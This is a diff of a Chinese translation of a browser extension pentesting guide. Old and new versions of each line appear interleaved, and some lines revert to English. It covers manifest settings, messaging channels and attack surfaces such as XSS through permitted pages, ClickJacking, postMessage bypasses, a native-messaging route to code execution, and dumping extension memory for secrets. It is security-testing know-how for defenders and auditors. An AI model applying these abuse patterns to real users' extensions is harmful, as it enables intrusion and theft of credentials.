> 浏览器在自动生成背景页面(当未明确声明时)所提供的便利,确保所有必要的背景脚本都被集成并正常运行,从而简化了扩展的设置过程。
|
||||
> 浏览器在未显式声明时自动生成背景页的便利性可确保所有必要的 background scripts 被集成并可运行,从而简化扩展的设置过程。
|
||||
|
||||
示例背景脚本:
|
||||
Example background script:
|
||||
```js
|
||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
|
||||
if (request == "explain") {
|
||||
@ -227,34 +227,34 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
}
|
||||
})
|
||||
```
|
||||
它使用 [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) 来监听消息。当接收到 `"explain"` 消息时,它使用 [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) 在新标签页中打开一个页面。
|
||||
它使用 [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) 来监听消息。当收到一个 `"explain"` 消息时,它使用 [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) 在新标签页中打开一个页面。
|
||||
|
||||
要调试后台脚本,您可以进入 **扩展详细信息并检查服务工作者,** 这将打开带有后台脚本的开发者工具:
|
||||
要调试后台脚本,你可以前往 **扩展详情并检查 service worker**,这会打开包含后台脚本的开发者工具:
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 选项页面和其他
|
||||
### Options pages and other
|
||||
|
||||
浏览器扩展可以包含各种类型的页面:
|
||||
Browser extensions can contain various kinds of pages:
|
||||
|
||||
- **操作页面** 在点击扩展图标时显示在 **下拉菜单中**。
|
||||
- 扩展将 **在新标签页中加载的页面**。
|
||||
- **选项页面**:此页面在点击时显示在扩展顶部。在之前的清单中,我能够通过 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` 访问此页面,或点击:
|
||||
- **Action pages** 会在点击扩展图标时以 **下拉** 形式显示。
|
||||
- 扩展会 **在新标签页加载** 的页面。
|
||||
- **Option Pages**:当点击时,此页面会显示在扩展之上。在我之前的 manifest 中,我可以通过 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` 访问此页面,或者点击:
|
||||
|
||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
请注意,这些页面不像后台页面那样持久,因为它们根据需要动态加载内容。尽管如此,它们与后台页面共享某些功能:
|
||||
注意这些页面不像后台页面那样是持久的,它们会在需要时动态加载内容。尽管如此,它们与后台页面共享某些能力:
|
||||
|
||||
- **与内容脚本的通信:** 类似于后台页面,这些页面可以接收来自内容脚本的消息,促进扩展内的交互。
|
||||
- **访问扩展特定的 API:** 这些页面享有对扩展特定 API 的全面访问,受扩展定义的权限限制。
|
||||
- **Communication with Content Scripts:** 与后台页面类似,这些页面可以接收来自 content scripts 的消息,从而实现扩展内的交互。
|
||||
- **Access to Extension-Specific APIs:** 这些页面可以访问扩展特定的 API,受扩展声明的 permissions 限制。
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`** 和 **`host_permissions`** 是 `manifest.json` 中的条目,指示 **浏览器扩展具有哪些权限**(存储、位置等)以及 **在哪些网页上**。
|
||||
**`permissions`** 和 **`host_permissions`** 是 `manifest.json` 中的条目,用于指示浏览器扩展拥有哪些权限(storage、location...)以及适用于哪些网页。
|
||||
|
||||
由于浏览器扩展可能具有 **特权**,恶意扩展或被攻陷的扩展可能允许攻击者 **以不同方式窃取敏感信息并监视用户**。
|
||||
由于浏览器扩展可能具有很高的特权,恶意扩展或被攻破的扩展可能让攻击者有不同方式窃取敏感信息并监视用户。
|
||||
|
||||
检查这些设置如何工作以及它们可能如何被滥用:
|
||||
查看这些设置如何工作以及它们可能如何被滥用,参考:
|
||||
|
||||
{{#ref}}
|
||||
browext-permissions-and-host_permissions.md
|
||||
@ -262,13 +262,14 @@ browext-permissions-and-host_permissions.md
|
||||
|
||||
### `content_security_policy`
|
||||
|
||||
**内容安全策略** 也可以在 `manifest.json` 中声明。如果定义了内容安全策略,它可能是 **脆弱的**。
|
||||
可以在 `manifest.json` 中声明 **content security policy**。如果定义了不当的策略,它可能是 **易被利用的**。
|
||||
|
||||
浏览器扩展页面的默认设置相当严格:
|
||||
```bash
|
||||
script-src 'self'; object-src 'self';
|
||||
```
|
||||
有关CSP和潜在绕过的更多信息,请查看:
|
||||
有关 CSP 和潜在绕过方法的更多信息,请查看:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../content-security-policy-csp-bypass/
|
||||
@ -276,7 +277,7 @@ script-src 'self'; object-src 'self';
|
||||
|
||||
### `web_accessible_resources`
|
||||
|
||||
为了让网页访问浏览器扩展的页面,例如一个`.html`页面,该页面需要在`manifest.json`的**`web_accessible_resources`**字段中提到。\
|
||||
为了让网页访问浏览器扩展的某个页面,例如 `.html` 页面,该页面需要在 `manifest.json` 的 **`web_accessible_resources`** 字段中列出。\
|
||||
例如:
|
||||
```javascript
|
||||
{
|
||||
@ -294,67 +295,68 @@ script-src 'self'; object-src 'self';
|
||||
...
|
||||
}
|
||||
```
|
||||
这些页面可以通过以下 URL 访问:
|
||||
这些页面可通过如下 URL 访问:
|
||||
```
|
||||
chrome-extension://<extension-id>/message.html
|
||||
```
|
||||
在公共扩展中,**extension-id 是可访问的**:
|
||||
在公开扩展中,**extension-id 是可访问的**:
|
||||
|
||||
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
不过,如果使用了 `manifest.json` 参数 **`use_dynamic_url`**,则该 **id 可能是动态的**。
|
||||
不过,如果使用了 `manifest.json` 参数 **`use_dynamic_url`**,该 **id 可能是动态的**。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,即使这里提到的页面可能会由于 **内容安全策略** 而 **受到 ClickJacking 保护**。因此,在确认 ClickJacking 攻击是否可能之前,您还需要检查它(frame-ancestors 部分)。
|
||||
> 注意即使某个页面在此处被提及,它也可能因为 **Content Security Policy** 而**受到 ClickJacking 防护**。因此在确认 ClickJacking 攻击可行之前,你还需要检查它(frame-ancestors 部分)。
|
||||
|
||||
允许访问这些页面会使这些页面**可能易受 ClickJacking 攻击**:
|
||||
|
||||
允许访问这些页面使这些页面 **可能容易受到 ClickJacking 攻击**:
|
||||
|
||||
{{#ref}}
|
||||
browext-clickjacking.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> 仅允许这些页面由扩展加载,而不是由随机 URL 加载,可以防止 ClickJacking 攻击。
|
||||
> 仅允许扩展加载这些页面而不允许任意 URL 加载,可能可以防止 ClickJacking 攻击。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,**`web_accessible_resources`** 中的页面和扩展的其他页面也能够 **联系后台脚本**。因此,如果这些页面中的一个容易受到 **XSS** 攻击,可能会导致更大的漏洞。
|
||||
> 注意,来自 **`web_accessible_resources`** 的页面以及扩展的其他页面也能够**联系 background scripts**。因此,如果这些页面中的某个页面存在 **XSS**,可能会导致更严重的漏洞。
|
||||
>
|
||||
> 此外,请注意,您只能在 iframes 中打开 **`web_accessible_resources`** 中指示的页面,但从新标签页可以访问扩展中的任何页面,只需知道扩展 ID。因此,如果发现 XSS 利用相同的参数,即使页面未在 **`web_accessible_resources`** 中配置,也可能被利用。
|
||||
> 此外,请注意你只能在 iframe 中打开 **`web_accessible_resources`** 中列出的页面,但如果在新标签页中并且知道 extension ID,就可以访问扩展中的任意页面。因此,如果发现利用相同参数的 XSS,即使该页面未在 **`web_accessible_resources`** 中配置,仍然可能被利用。
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
根据 [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable),`"externally_connectable"` 清单属性声明 **哪些扩展和网页可以通过** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 和 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) 连接到您的扩展。
|
||||
根据 [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally_connectable),`"externally_connectable"` manifest 属性声明了可以通过 [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 和 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) 与你的扩展连接的**哪些扩展和网页**。
|
||||
|
||||
- 如果在扩展的清单中 **未声明 `externally_connectable`** 键,或者声明为 **`"ids": ["*"]`**,**所有扩展都可以连接,但没有网页可以连接**。
|
||||
- 如果 **指定了特定的 ID**,如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`,**只有这些应用程序** 可以连接。
|
||||
- 如果 **指定了匹配项**,这些网页应用将能够连接:
|
||||
- 如果 **`externally_connectable`** 键**未**在你扩展的 manifest 中声明,或声明为 **`"ids": ["*"]`**,**所有扩展都可以连接,但没有网页可以连接**。
|
||||
- 如果**指定了特定 ID**,例如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`,**只有那些应用**可以连接。
|
||||
- 如果指定了 **matches**,那些 web 应用将能够连接:
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
"*://*.chromium.org/*",
|
||||
```
|
||||
- 如果指定为空:**`"externally_connectable": {}`**,则没有应用程序或网页能够连接。
|
||||
- 如果指定为空: **`"externally_connectable": {}`**,没有应用或网页能够连接。
|
||||
|
||||
这里指示的**扩展和URL越少**,**攻击面就越小**。
|
||||
这里列出的**扩展和 URLs**越少,**攻击面**就越小。
|
||||
|
||||
> [!CAUTION]
|
||||
> 如果网页**易受XSS或接管攻击**,并在**`externally_connectable`**中指示,攻击者将能够**直接向后台脚本发送消息**,完全绕过内容脚本及其CSP。
|
||||
> 如果在 **`externally_connectable`** 中指明了一个对 **XSS or takeover** 易受攻击的网页,攻击者将能够 **直接向 background script 发送消息**,完全绕过 Content Script 及其 CSP。
|
||||
>
|
||||
> 因此,这是一个**非常强大的绕过**。
|
||||
> 因此,这是一个**非常强大的 bypass**。
|
||||
>
|
||||
> 此外,如果客户端安装了恶意扩展,即使它不被允许与易受攻击的扩展通信,它也可能在允许的网页中注入**XSS数据**,或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API来操纵目标域上的请求,改变页面对**JavaScript文件**的请求。(请注意,目标页面上的CSP可能会阻止这些攻击)。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
|
||||
> 此外,如果客户端安装了一个 rogue extension,即便它不被允许与易受攻击的扩展通信,它仍可能在被允许的网页注入 **XSS data**,或滥用 **`WebRequest`** 或 **`DeclarativeNetRequest`** APIs 来操纵目标域上的请求,从而更改页面对 **JavaScript file** 的请求。(注意目标页面上的 CSP 可能会阻止这些攻击)。这个想法来自 [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
|
||||
## 通信摘要
|
||||
|
||||
### 扩展 <--> WebApp
|
||||
### Extension <--> WebApp
|
||||
|
||||
在内容脚本和网页之间,通常使用后续消息进行通信。因此,在Web应用程序中,您通常会发现对函数**`window.postMessage`**的调用,而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而,请注意,扩展也可以**通过发送Post Message与Web应用程序通信**(因此网页应该预期此情况),或者仅使网页加载一个新脚本。
|
||||
在 content script 与网页之间通信通常使用 post messages。因此在 web 应用中通常会看到对函数 **`window.postMessage`** 的调用,而在 content script 中会有像 **`window.addEventListener`** 的监听器。注意,extension 也可以通过发送 Post Message 与 web 应用通信(因此网页应当预期到它),或者只是让网页加载一个新的脚本。
|
||||
|
||||
### 在扩展内部
|
||||
### Extension 内部
|
||||
|
||||
通常使用函数**`chrome.runtime.sendMessage`**在扩展内部发送消息(通常由`background`脚本处理),为了接收和处理它,声明一个监听器调用**`chrome.runtime.onMessage.addListener`**。
|
||||
通常使用函数 **`chrome.runtime.sendMessage`** 在扩展内部发送消息(通常由 `background` script 处理),为了接收和处理该消息,会声明一个监听器,调用 **`chrome.runtime.onMessage.addListener`**。
|
||||
|
||||
也可以使用**`chrome.runtime.connect()`**来建立持久连接,而不是发送单个消息,可以用它来**发送**和**接收****消息**,如下例所示:
|
||||
也可以使用 **`chrome.runtime.connect()`** 建立持久连接,而不是发送单条消息;可以用它来**发送**和**接收****消息**,例如下面的示例:
|
||||
|
||||
<details>
|
||||
|
||||
@ -389,19 +391,19 @@ console.log("Content script received message from background script:", msg)
|
||||
```
|
||||
</details>
|
||||
|
||||
也可以通过调用 **`chrome.tabs.sendMessage`** 从后台脚本向位于特定标签页的内容脚本发送消息,您需要指明要发送消息的 **标签页 ID**。
|
||||
也可以从 background script 向位于特定 tab 的 content script 发送消息,调用 **`chrome.tabs.sendMessage`**,你需要指定要发送消息的 **tab 的 ID**。
|
||||
|
||||
### 从允许的 `externally_connectable` 到扩展
|
||||
### 从被 `externally_connectable` 允许的来源到 extension
|
||||
|
||||
在 `externally_connectable` 配置中允许的 **Web 应用程序和外部浏览器扩展** 可以使用以下方式发送请求:
|
||||
在 `externally_connectable` 配置中被允许的 **Web apps and external browser extensions** 可以使用以下方式发送请求:
|
||||
```javascript
|
||||
chrome.runtime.sendMessage(extensionId, ...
|
||||
```
|
||||
在需要提及**扩展 ID**的地方。
|
||||
Where it's needed to mention the **extension ID**.
|
||||
|
||||
### 本地消息传递
|
||||
### Native Messaging
|
||||
|
||||
后台脚本可以与系统内的二进制文件进行通信,如果这种通信没有得到妥善保护,可能会**容易受到诸如 RCE 等关键漏洞的影响**。[稍后会详细介绍](#native-messaging)。
|
||||
background scripts 有可能与系统中的 binaries 通信,如果这种通信没有得到妥善保护,可能会**导致严重漏洞,例如 RCEs**。 [More on this later](#native-messaging).
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -411,9 +413,9 @@ console.log("Received " + response)
|
||||
}
|
||||
)
|
||||
```
|
||||
## Web **↔︎** Content Script Communication
|
||||
## Web **↔︎** Content Script 通信
|
||||
|
||||
**内容脚本**操作的环境与主页面存在的环境是**分开的**,确保了**隔离**。尽管存在这种隔离,双方都能够与页面的**文档对象模型 (DOM)** 进行交互,这是一个共享资源。为了使主页面能够与**内容脚本**进行通信,或通过内容脚本间接与扩展进行通信,必须利用双方都可以访问的**DOM**作为通信通道。
|
||||
运行 **content scripts** 的环境与宿主页面所在的环境相互**分离**,从而保证了**隔离性**。尽管存在这种隔离,双方都可以与页面的**文档对象模型 (DOM)** 交互,该模型是一个共享资源。宿主页面若要与 **content script** 进行通信,或通过 content script 间接与扩展通信,就必须使用双方都可访问的 **DOM** 作为通信通道。
|
||||
|
||||
### Post Messages
|
||||
```javascript:content-script.js
|
||||
@ -450,15 +452,16 @@ window.postMessage(
|
||||
false
|
||||
)
|
||||
```
|
||||
安全的 Post Message 通信应检查接收到消息的真实性,可以通过以下方式进行检查:
|
||||
A secure Post Message communication should check the authenticity of the received message, this can be done checking:
|
||||
|
||||
- **`event.isTrusted`**:仅当事件由用户操作触发时为 True
|
||||
- 内容脚本可能仅在用户执行某些操作时才会期待消息
|
||||
- **origin domain**:可能仅允许白名单中的域名期待消息。
|
||||
- 如果使用正则表达式,请非常小心
|
||||
- **Source**:`received_message.source !== window` 可用于检查消息是否来自 **同一窗口**,内容脚本正在监听。
|
||||
- **`event.isTrusted`**: 只有当事件由用户操作触发时才为 True
|
||||
- The content script might expecting a message only if the user performs some action
|
||||
- **origin domain**: 可能只允许来自白名单域的消息
|
||||
- If a regex is used, be very careful
|
||||
- **Source**: `received_message.source !== window` 可以用来检查消息是否**来自 Content Script 正在监听的同一窗口**。
|
||||
|
||||
The previous checks, even if performed, could be vulnerable, so check in the following page **potential Post Message bypasses**:
|
||||
|
||||
即使执行了上述检查,仍可能存在漏洞,因此请检查以下页面 **潜在的 Post Message 绕过**:
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/
|
||||
@ -466,7 +469,8 @@ false
|
||||
|
||||
### Iframe
|
||||
|
||||
另一种可能的通信方式可能是通过 **Iframe URLs**,您可以在以下位置找到示例:
|
||||
Another possible way of communication might be through **Iframe URLs**, you can find an example in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
@ -474,21 +478,22 @@ browext-xss-example.md
|
||||
|
||||
### DOM
|
||||
|
||||
这并不是“确切的”通信方式,但 **网页和内容脚本将可以访问网页 DOM**。因此,如果 **内容脚本** 从中读取某些信息,**信任网页 DOM**,网页可能会 **修改这些数据**(因为网页不应被信任,或者因为网页易受 XSS 攻击)并 **危害内容脚本**。
|
||||
This isn't "exactly" a communication way, but the **web and the content script will have access to the web DOM**. So, if the **content script** is reading some information from it, **trusting the web DOM**, the web could **modify this dat**a (because the web shouldn't be trusted, or because the web is vulnerable to XSS) and **compromise the Content Script**.
|
||||
|
||||
You can also find an example of a **DOM based XSS to compromise a browser extension** in:
|
||||
|
||||
您还可以在以下位置找到 **基于 DOM 的 XSS 以危害浏览器扩展** 的示例:
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
{{#endref}}
|
||||
|
||||
## 内容脚本 **↔︎** 后台脚本通信
|
||||
## Content Script **↔︎** Background Script Communication
|
||||
|
||||
内容脚本可以使用 [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **或** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 发送 **一次性 JSON 可序列化** 消息。
|
||||
A Content Script can use the functions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) to send a **one-time JSON-serializable** message.
|
||||
|
||||
要处理 **响应**,请使用返回的 **Promise**。尽管为了向后兼容,您仍然可以将 **回调** 作为最后一个参数传递。
|
||||
To handle the **response**, use the returned **Promise**. Although, for backward compatibility, you can still pass a **callback** as the last argument.
|
||||
|
||||
从 **内容脚本** 发送请求的方式如下:
|
||||
Sending a request from a **content script** looks like this:
|
||||
```javascript
|
||||
;(async () => {
|
||||
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||
@ -496,7 +501,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
从**扩展**(通常是**后台脚本**)发送请求。向选定标签页中的内容脚本发送消息的示例:
|
||||
从 **extension**(通常是 **background script**)发送请求。示例:如何向所选 tab 中的 content script 发送 message:
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||
;(async () => {
|
||||
@ -509,7 +514,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
在**接收端**,您需要设置一个[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **事件监听器**来处理消息。这在内容脚本或扩展页面中看起来是一样的。
|
||||
在**接收端**,你需要设置一个[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **事件监听器**来处理该消息。无论是在内容脚本(content script)还是扩展页面(extension page),这看起来是相同的。
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
||||
@ -521,15 +526,15 @@ sender.tab
|
||||
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
})
|
||||
```
|
||||
在突出显示的示例中,**`sendResponse()`** 是以同步方式执行的。要修改 `onMessage` 事件处理程序以实现 `sendResponse()` 的异步执行,必须加入 `return true;`。
|
||||
在示例中,**`sendResponse()`** 以同步方式执行。要将 `onMessage` 事件处理程序修改为异步执行 `sendResponse()`,必须包含 `return true;`。
|
||||
|
||||
一个重要的考虑是,在多个页面设置为接收 `onMessage` 事件的情况下,**第一个执行 `sendResponse()`** 的页面将是唯一能够有效传递响应的页面。对同一事件的任何后续响应将不被考虑。
|
||||
重要的一点是,当多个页面都设置为接收 `onMessage` 事件时,对于某个特定事件,**第一个执行 `sendResponse()` 的页面** 将是唯一能够有效发送响应的页面。对此事件的任何后续响应都不会被考虑。
|
||||
|
||||
在创建新扩展时,应该优先使用 promises 而不是回调。关于回调的使用,只有在同步上下文中直接执行 `sendResponse()` 函数,或者事件处理程序通过返回 `true` 表示异步操作时,`sendResponse()` 函数才被视为有效。如果没有任何处理程序返回 `true`,或者 `sendResponse()` 函数从内存中移除(被垃圾回收),则与 `sendMessage()` 函数关联的回调将默认被触发。
|
||||
在编写新扩展时,应优先使用 promises 而非回调。关于使用回调,只有在同步上下文中直接执行 `sendResponse()`,或事件处理程序通过返回 `true` 表示异步操作时,`sendResponse()` 才被视为有效。如果没有任何处理程序返回 `true`,或 `sendResponse()` 被从内存中移除(垃圾回收),则与 `sendMessage()` 相关联的回调将被默认触发。
|
||||
|
||||
## Native Messaging
|
||||
|
||||
浏览器扩展还允许通过 **stdin** 与系统中的 **二进制文件** 进行通信。应用程序必须安装一个 json 来指示这一点,格式如下:
|
||||
浏览器扩展也允许**通过 stdin 与系统中的二进制程序通信**。应用程序必须安装一个 json 来指明这一点,格式如下:
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -539,14 +544,14 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||
}
|
||||
```
|
||||
`name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串,用于从浏览器扩展的后台脚本与应用程序进行通信。`path` 是二进制文件的路径,只有 1 种有效的 `type`,即 stdio(使用 stdin 和 stdout),`allowed_origins` 指示可以访问它的扩展(不能使用通配符)。
|
||||
其中 `name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串,用于从浏览器扩展的 background scripts 与该应用程序通信。`path` 是二进制文件的路径,只有一种有效的 `type`:stdio(使用 stdin 和 stdout),`allowed_origins` 指明可以访问它的扩展(不能使用通配符)。
|
||||
|
||||
Chrome/Chromium 会在某些 Windows 注册表和 macOS 和 Linux 的某些路径中搜索此 json(更多信息请参见 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging))。
|
||||
Chrome/Chromium 会在 Windows 注册表的某些位置以及 macOS 和 Linux 的一些路径中搜索此 json(更多信息见 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging))。
|
||||
|
||||
> [!TIP]
|
||||
> 浏览器扩展还需要声明 `nativeMessaing` 权限,以便能够使用此通信。
|
||||
> 浏览器扩展还需要声明 `nativeMessaing` permission,才能使用此通信。
|
||||
|
||||
这就是一些后台脚本代码向本地应用程序发送消息的样子:
|
||||
下面是一些 background script 代码向 native application 发送消息的示例:
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -556,45 +561,43 @@ console.log("Received " + response)
|
||||
}
|
||||
)
|
||||
```
|
||||
在[**这篇博客文章**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)中,提出了一种利用本机消息的脆弱模式:
|
||||
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), a vulnerable pattern abusing native messages is proposed:
|
||||
|
||||
1. 浏览器扩展对内容脚本有一个通配符模式。
|
||||
2. 内容脚本使用`sendMessage`将`postMessage`消息传递给后台脚本。
|
||||
3. 后台脚本使用`sendNativeMessage`将消息传递给本机应用程序。
|
||||
4. 本机应用程序以危险的方式处理消息,导致代码执行。
|
||||
1. Browser extension has a wildcard pattern for content script.
|
||||
2. Content script passes `postMessage` messages to the background script using `sendMessage`.
|
||||
3. Background script passes the message to native application using `sendNativeMessage`.
|
||||
4. Native application handles the message dangerously, leading to code execution.
|
||||
|
||||
其中解释了**如何从任何页面通过浏览器扩展实现RCE**的示例。
|
||||
And inside of it an example of **going from any page to RCE abusing a browser extension is explained**.
|
||||
|
||||
## 内存/代码/剪贴板中的敏感信息
|
||||
|
||||
如果浏览器扩展在**内存中存储敏感信息**,则可能会被**转储**(特别是在Windows机器上)并**搜索**这些信息。
|
||||
如果 Browser Extension 在 **内存中存储敏感信息**,这些信息可能会被 **dumped**(尤其是在 Windows 机器上)并被搜索以获取相应信息。
|
||||
|
||||
因此,浏览器扩展的内存**不应被视为安全**,并且**敏感信息**如凭据或助记短语**不应存储**。
|
||||
因此,Browser Extension 的内存 **不应被视为安全**,像凭证或助记词等 **敏感信息** **不应被存储**。
|
||||
|
||||
当然,**不要在代码中放置敏感信息**,因为它将是**公开的**。
|
||||
当然,**不要在代码中放置敏感信息**,因为它将是 **公开的**。
|
||||
|
||||
要从浏览器转储内存,可以**转储进程内存**,或者进入浏览器扩展的**设置**,点击**`Inspect pop-up`** -> 在**`Memory`**部分 -> **`Take a snapshot`**,然后使用**`CTRL+F`**在快照中搜索敏感信息。
|
||||
|
||||
此外,像助记密钥或密码这样的高度敏感信息**不应允许复制到剪贴板**(或至少在几秒钟内将其从剪贴板中移除),因为监控剪贴板的进程将能够获取它们。
|
||||
要从浏览器 dump memory,你可以 **dump the process memory**,或者进入 Browser Extension 的 **settings**,点击 **`Inspect pop-up`** -> 在 **`Memory`** 部分 -> **`Take a snaphost`** 并使用 **`CTRL+F`** 在快照中搜索敏感信息。
|
||||
|
||||
## 在浏览器中加载扩展
|
||||
|
||||
1. **下载**浏览器扩展并解压
|
||||
2. 转到**`chrome://extensions/`**并**启用**`开发者模式`
|
||||
3. 点击**`加载已解压的扩展`**按钮
|
||||
1. **Download** the Browser Extension & unzipped
|
||||
2. Go to **`chrome://extensions/`** and **enable** the `Developer Mode`
|
||||
3. Click the **`Load unpacked`** button
|
||||
|
||||
在**Firefox**中,转到**`about:debugging#/runtime/this-firefox`**并点击**`加载临时附加组件`**按钮。
|
||||
In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click **`Load Temporary Add-on`** button.
|
||||
|
||||
## 从商店获取源代码
|
||||
## 从商店获取源码
|
||||
|
||||
Chrome扩展的源代码可以通过多种方法获得。以下是每个选项的详细说明和指示。
|
||||
The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option.
|
||||
|
||||
### 通过命令行将扩展下载为ZIP
|
||||
### 通过命令行下载 Extension 为 ZIP
|
||||
|
||||
Chrome扩展的源代码可以通过命令行下载为ZIP文件。这涉及使用`curl`从特定URL获取ZIP文件,然后将ZIP文件的内容提取到一个目录中。以下是步骤:
|
||||
可以使用命令行将 Chrome extension 的源代码下载为 ZIP 文件。该过程涉及使用 `curl` 从特定 URL 获取 ZIP 文件,然后将 ZIP 内容解压到目录中。步骤如下:
|
||||
|
||||
1. 将`"extension_id"`替换为扩展的实际ID。
|
||||
2. 执行以下命令:
|
||||
1. Replace `"extension_id"` with the actual ID of the extension.
|
||||
2. Execute the following commands:
|
||||
```bash
|
||||
extension_id=your_extension_id # Replace with the actual extension ID
|
||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||
@ -604,96 +607,104 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
|
||||
|
||||
### 使用 CRX Viewer 扩展
|
||||
### 使用 CRX Viewer extension
|
||||
|
||||
另一种方便的方法是使用 Chrome 扩展源查看器,这是一个开源项目。可以从 [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) 安装。查看器的源代码可在其 [GitHub repository](https://github.com/Rob--W/crxviewer) 中找到。
|
||||
另一种便捷的方法是使用 Chrome Extension Source Viewer,这是一个开源项目。它可以从 [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) 安装。查看器的源代码可在其 [GitHub repository](https://github.com/Rob--W/crxviewer) 中获取。
|
||||
|
||||
### 查看本地安装的扩展的源代码
|
||||
### 查看本地已安装扩展的源代码
|
||||
|
||||
本地安装的 Chrome 扩展也可以被检查。方法如下:
|
||||
Chrome 本地安装的扩展也可以被检查。方法如下:
|
||||
|
||||
1. 通过访问 `chrome://version/` 并找到“Profile Path”字段来访问您的 Chrome 本地配置文件目录。
|
||||
1. 通过访问 `chrome://version/` 并定位 "Profile Path" 字段来访问你的 Chrome 本地配置文件目录。
|
||||
2. 在配置文件目录中导航到 `Extensions/` 子文件夹。
|
||||
3. 该文件夹包含所有已安装的扩展,通常其源代码以可读格式存放。
|
||||
3. 该文件夹包含所有已安装的扩展,通常其源代码以可读格式存在。
|
||||
|
||||
要识别扩展,您可以将它们的 ID 映射到名称:
|
||||
要识别扩展,你可以将它们的 ID 映射到名称:
|
||||
|
||||
